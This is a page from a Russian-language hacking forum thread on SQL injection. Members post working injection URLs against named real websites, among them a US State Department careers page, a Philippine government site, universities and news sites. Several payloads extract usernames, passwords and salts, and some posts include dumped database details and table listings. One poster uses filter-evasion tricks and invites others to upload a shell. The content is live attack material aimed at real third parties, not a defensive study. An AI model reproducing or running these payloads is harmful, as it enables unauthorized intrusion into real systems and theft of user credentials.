SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. justonline

    justonline network ninja

    Joined:
    27 Jul 2011
    Messages:
    499
    Likes Received:
    60
    Reputations:
    53
    5.1.49-3:lacaoru_strateg@localhost:lacaoru_wwwstrategyspbru
    (CY) 400
     
    #15381 justonline, 17 May 2013
    Last edited: 17 May 2013
  2. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    www.planetgarth.com/news/article.php?cid=-01015+union+select+1,2,3,4,5,6,concat_ws(0x3a,userid,username,password,salt),8,9,10,11,12,13,14,15,16,17+FROM+user%20limit%205,1--
     
    #15382 OxoTnik, 18 May 2013
    Last edited: 18 May 2013
  3. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Все-таки часть технического ВУЗа-могли бы как следует защитить!
    ==========================================
     
    2 people like this.
  4. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    ==========================================

    ==========================================
     
    #15384 YaBtr, 21 May 2013
    Last edited: 21 May 2013
  5. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    http://www.muncip.ru/a/news.php?id=-2+union+select+1,version(),3,4,5,6,7,8,9
    тиц 30
     
    #15385 OxoTnik, 21 May 2013
    Last edited: 21 May 2013
    2 people like this.
  6. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    ==========================================
    ==========================================
     
    #15386 YaBtr, 22 May 2013
    Last edited: 22 May 2013
  7. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    http://www.goanews.com/archive_list.php?uid=3&am=8&ay=2010'/**/or/**/(select/**/count(*)from(select/**/1/**/union/**/select/**/2/**/union/**/select/**/3)x/**/group/**/by/**/concat(mid((select/**/concat_ws(0x3a,vUsername,vPassword)/**/from/**/users/**/limit/**/0,1),1,64),floor(rand(0)*2)))/**/and/**/'1'='1
     
  8. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    ==========================================
    ==========================================
    ==========================================
     
    #15388 YaBtr, 23 May 2013
    Last edited: 23 May 2013
  9. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Philippine Information Agency

    Правительственный сайт Филиппин. У каждого государства есть подобные косяки (к тому,что не стоит все время упрекать Россию,нужно ПОМОГАТЬ! ей).
    ==========================================
     
  10. tagil748

    tagil748 Member

    Joined:
    21 Apr 2013
    Messages:
    10
    Likes Received:
    5
    Reputations:
    0
    Code:
    http://gorlivka.biz/job/ind.php?id_gorod=343%20union%20select%20user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31%20--
     
  11. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://promar.tv/nueva/articulo_completo.php?id=-16821+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13--
    Code:
    http://promar.tv/nueva/articulo_completo.php?id=-16821+union+select+1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13+from+information_schema.tables--
     
  12. Win32BOT

    Win32BOT Member

    Joined:
    4 Mar 2013
    Messages:
    62
    Likes Received:
    10
    Reputations:
    -3
    Code:
     http://startingweb.ru/detaliat.php?id_pr=2+and+1=0+union+select+1,version(),3,4,5+--+
    Current User: partyklub_1@localhost
    Sql Version: 5.1.66-0+squeeze1-log
    Current DB: partyklub_1
    System User: partyklub_1@localhost
    Host Name: s13.webhost1.ru
    Installation dir: /usr/
    DB User: 'partyklub_1'@'localhost'
    Data Bases: information_schema
    partyklub_1
     
  13. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    ttp://www.careers.state.gov/survey/StateCareers/ThankYou.php?&&&&&&userid=-52+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8--
    5.0.81:'survey'@'%':surveys

    available databases [2]:
    [*] information_schema
    [*] surveys


    Database: surveys
    [2 tables]
    +-------------+
    | careeritems |
    | careerpilot |
    +-------------+


    Table: careerpilot
    [59 columns]
     
    1 person likes this.
  14. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    ==========================================
    ==========================================
     
    #15394 YaBtr, 26 May 2013
    Last edited: 26 May 2013
  15. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.ajmci.org/actualite.php?id=-75+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7--
    Code:
    http://www.ajmci.org/actualite.php?id=-75+union+select+1,2,group_concat(table_name),4,5,6,7+from+information_schema.tables--
     
  16. ukrpunk

    ukrpunk Member

    Joined:
    31 Oct 2011
    Messages:
    47
    Likes Received:
    14
    Reputations:
    5
    Code:
    http://www.your-currency.com/anekdots.php?id=-12743+union+select+1,group_concat%28login,0x3a,pass%29+from+piramida_users--
     
  17. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://iacp.dvo.ru/lib/news/index.php?news_id=-69+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5--
     
  18. ukrpunk

    ukrpunk Member

    Joined:
    31 Oct 2011
    Messages:
    47
    Likes Received:
    14
    Reputations:
    5
    тиц375, 7к трафф
    Code:
    ingrus.net/york/details.php?id=12743/**/and+1=0+/*!%75nion*/+/*!%73eLect*/+version(),1,2--
    кто зальется стукните в лс обязательно!!!!!!
     
    #15398 ukrpunk, 26 May 2013
    Last edited: 26 May 2013
    1 person likes this.
  19. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.iactunis.com/actualite.php?id=-75+union+select+group_concat(table_name),2+from+information_schema.tables--
     
  20. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    ==========================================
    ==========================================
     
    #15400 YaBtr, 26 May 2013
    Last edited: 26 May 2013
Thread Status:
Not open for further replies.